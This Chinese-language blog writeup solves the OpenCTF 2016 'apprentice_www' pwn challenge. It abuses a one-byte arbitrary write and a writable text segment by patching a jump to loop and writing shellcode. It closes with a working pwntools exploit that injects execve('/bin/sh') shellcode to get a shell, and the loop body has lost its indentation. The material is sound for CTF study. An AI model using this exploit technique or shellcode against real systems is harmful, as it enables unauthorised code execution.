您的位置:首页 > 运维架构 > Linux

【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www

2019-08-27 21:31 861 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/m0_38100569/article/details/100108868

0x01 解题思路

  • 查看文件基本信息

  • IDA查看

    main

    setup

    调用mprotect函数给.bss、.text、.data等段增加了可读可写可执行权限

    butterflySwag



      接收两次用户输入,第一次输入v1为一个地址,第二次输入v2为一个整数。之后会把v2的最低一个字节写入到v1指向的内存单元。这样就可以把shellcode写入到任意的可读可执行页。但是由于一次只能写入一个字节,需要跳转到第一个scanf执行之前循环接受输入。那么就可以把080485D9处的jnz短跳转指令的操作数修改一下,使其跳转至0804859D处循环执行写入shellcode。注意操作数的计算方式:

    跳转点地址-跳转指令的后一条指令的地址
    (单字节)。另外,输入的shellcode地址和shellcode单个字节都必须转成字符串。

0x02 EXP

#!/usr/bin/python
#coding:utf-8

from pwn import *

io = process('./apprentice_www')

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
jnz_param_addr = 0x080485DA
shellcode_addr = 0x080485DB

io.sendline(str(jnz_param_addr))
io.sendline(str(0xc2))

for i in range(len(shellcode)):
io.sendline(str(shellcode_addr + i))
io.sendline(str(ord(shellcode[i])))

io.sendline(str(jnz_param_addr))
io.sendline(str(0x00))

io.interactive()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: